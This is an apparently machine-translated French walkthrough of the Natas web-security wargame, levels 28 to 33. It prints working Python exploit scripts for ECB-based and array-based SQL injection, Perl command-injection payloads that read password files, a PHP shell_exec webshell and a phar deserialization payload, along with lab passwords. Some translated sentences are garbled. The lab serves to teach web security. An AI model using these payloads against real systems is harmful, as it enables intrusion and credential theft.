
Dans cet article, nous traiterons du fonctionnement de certaines identités WEB en utilisant le wargame
Natas comme exemple. Chaque niveau a accès au mot de passe de niveau suivant. Tous les mots de passe sont également stockés dans les fichiers / etc / natas_webpass /. Par exemple, le mot de passe de natas5 est stocké dans le fichier / etc / natas_webpass / natas5 et est en lecture seule pour les utilisateurs natas4 et natas5.
Parties passées:
partie 1 ,
partie 2 ,
partie 3 et
partie 4 .
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
niveau 28
En envoyant une requête, nous voyons une redirection vers une autre page avec une requête étrange et un encodage base64, dont le décodage ne donne rien.

Nous enverrons toute demande de requête. Nous obtenons une erreur qui indique clairement que la redirection utilise le chiffrement et sur cette page, la demande est déchiffrée avant d'être transférée dans la base de données. Autrement dit, nous devons crypter notre injection et l'envoyer au serveur, mais nous ne connaissons pas la clé. Mais nous avons un chiffreur - c'est le serveur.

Commençons d'abord par le chiffrement. Nous enverrons deux lignes différentes «qwerty» et «asdfgh» et analyserons comment elles seront converties.

En réponse, nous obtenons des lignes identiques, qui à un certain endroit ont une séquence distincte. Étant donné que le début et la fin de deux PC (texte chiffré) sont identiques, nous pouvons tirer les conclusions suivantes:
- Le complément initial à OT est utilisé (texte en clair);
- il y a un ajout final à OT;
- Le mode ECB est utilisé, car à différents OT les derniers blocs du CT sont les mêmes, c'est-à-dire que les blocs sont indépendants les uns des autres.
L'idée est la suivante: nous envoyons une requête à la base de données pour le cryptage, mais elle sera convertie et donc, lors du décryptage, l'injection ne passera pas. Il est nécessaire de traiter avec les modules complémentaires pour calculer avec précision les blocs où notre charge utile sera cryptée. Ensuite, après le cryptage, nous prendrons nos blocs de la demande et n'enverrons que ceux-ci au serveur. Sur le serveur, ils seront déchiffrés et, comme ils sont sans modules complémentaires, exécutés.
L'idée est présentée en quatre images:
- Présentation de 5 blocs.
- Un encodeur avec des ajouts de début et de fin qui chiffrent une chaîne vide.
- Cryptage de la chaîne "TEXTTEXTTEXTTEXT".
- Nous nous débarrassons des ajouts en ajoutant le nombre de caractères requis avant et après notre ligne pour le mettre dans un bloc séparé. Nous ne prenons du PC que le deuxième bloc.

De cette façon, nous n'avons reçu que notre chaîne cryptée sur une clé inconnue pour nous !!!
Données nécessaires:
- Mode de cryptage (connu - ECB)
- Longueur de bloc (connue - 16)
- Longueur initiale du module complémentaire (inconnue)
- La longueur de notre texte (connue - «SELECT mot de passe
COMME blague des utilisateurs ")
Il est nécessaire de connaître la longueur du remplissage initial. Puisque les deux premiers blocs sont identiques, nous enverrons un nombre différent de caractères, et dès que le troisième bloc cessera de changer, nous trouverons le nombre de caractères nécessaires pour le compléter. Ce sont 10 caractères. Voici une implémentation de l'algorithme ci-dessus.
import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result)

Nous obtenons le mot de passe.
niveau 29
Il est difficile de deviner que le code Perl appelle la fonction de ligne de commande et transmet les commandes spécifiées dans le fichier de données (que vous pouvez sélectionner) à la commande. Le fait est que nous pouvons fermer le pipeline de "exec | read_command_file "in" exec | read_command | our_smd_command. "

Mais le fait est que notre équipe sera affichée sur la console, et non sur le site. Pour ce faire, ajoutez la commande suivante pour remplacer les caractères dans les flux d'entrée / sortie: «| tr `avant` après`.

Puisque la commande est terminée, nous lirons le mot de passe du fichier spécifié. Mais on nous dit que nous ne pouvons pas faire ça ...

Nous utiliserons le filtrage en ligne de commande et insérerons des guillemets dans tous les emplacements qui seront effacés lors de l'exécution de la commande.

Nous enlevons le mot de passe.
niveau 30
Regardons le code source. La méthode quote () est utilisée ici, ce qui échappe à tous les caractères spéciaux dans une chaîne. Mais il s'échappe exactement dans la chaîne, ce qui nous donne le droit d'opérer l'injection, si nous avons utilisé, par exemple, un tableau (dans ce cas, un élément zéro sera accepté).

Imaginons une charge pour la demande
Select * FROM users where username = 'username' and password = 'password';
Puisque nous savons que le nom d'utilisateur est natas31, nous introduisons la condition correcte dans le mot de passe: '' ou 1. Ensuite, notre demande deviendra comme ceci
Select * FROM users where username = 'natas31' and password = '' or 1;
Et maintenant, il reste à envoyer un tableau.
import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text)

Nous enlevons le mot de passe.
niveau 31
L'essence du service devient immédiatement claire: à partir du fichier csv, nous obtenons la table en html.

Voyons le code source.

Et donc, ce qui est le plus intéressant: c'est la ligne while (<$ file>), tandis que file est la ligne du paramètre. Ainsi, il est possible d'exécuter le code.

Envoyez n'importe quel fichier csv et interceptez la demande dans Burp Suite.

Ajoutons maintenant la commande comme paramètre.
?/bin/cat%20/etc/natas_webpass/natas32%20|

Pour appeler la charge à partir du paramètre, ajoutez les lignes suivantes:
-----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV


Nous obtenons le mot de passe.
niveau 32
Nous ouvrons la page où l'on nous dit que nous devons prouver l'exécution du code et exécuter le fichier webroot.

Si vous regardez le code, c'est exactement le même qu'au niveau précédent. Ensuite, nous exploitons la vulnérabilité comme la dernière fois. Trouvons le fichier webroot. Pour ce faire, regardez le répertoire, en utilisant comme charge: ls -la |

Obtenez la liste des fichiers. Webroot n'est pas là, mais il y a un étrange programme getpassword.
Nous le réalisons.


Nous obtenons le mot de passe pour le dernier niveau.

niveau 33
Encore une fois, le formulaire de téléchargement de fichier.

Regardons le code source.

Ainsi, nous devons télécharger un fichier d'une taille maximale de 4 Mo sur le serveur et si md5 du contenu du fichier est égal à la valeur de référence, il sera exécuté dans l'interpréteur php. Nous regardons plus loin. Nous pouvons contrôler le nom du fichier et son contenu.

Je dirai tout de suite qu'il s'agit d'une vulnérabilité complexe que j'ai rencontrée il y a six mois. Il vise le fait que nous pouvons télécharger un fichier de tout type sur le serveur et que toutes les opérations seront effectuées avec son contenu. À propos des fichiers phar est écrit
ici . En bref, une archive php spéciale représentant des données sérialisées. Dans ce cas, la lecture du flux phar entraînera l'exécution de code. Ainsi, vous pouvez sérialiser le code et l'envoyer au serveur. Lors du calcul de md5, un flux sera lu - ce qui conduira à l'exécution de code.
Créez d'abord un fichier php qui lit le drapeau.
<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>
Téléchargez-le sur le serveur. N'oubliez pas de changer le nom dans Burp Suite.


Nous obtenons la réponse du serveur ... Ok. Créez maintenant une archive phar qui, une fois exécutée, changera les valeurs dont nous avons besoin (le hachage sera toujours correct et le nom du fichier qui a déjà été téléchargé sur le serveur). Nous allons donc passer la vérification et le serveur exécutera shell.php.
<?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?>
Avant de compiler dans le fichier /etc/php/xx/php.ini, vous devez changer le paramètre phar.readonly sur Off.

Ensuite, exécutez php shell.php et nous obtenons le fichier .phar. Nous l'envoyons au serveur et changeons le nom.

Nous avons donc les deux fichiers: archive et shell. Vous devez maintenant faire en sorte que le fichier soit lu à partir de l'archive, ce qui entraînera l'exécution de code.

Nous obtenons le mot de passe.

C'était le lieu de la Natas. Vous pouvez nous rejoindre sur
Telegram .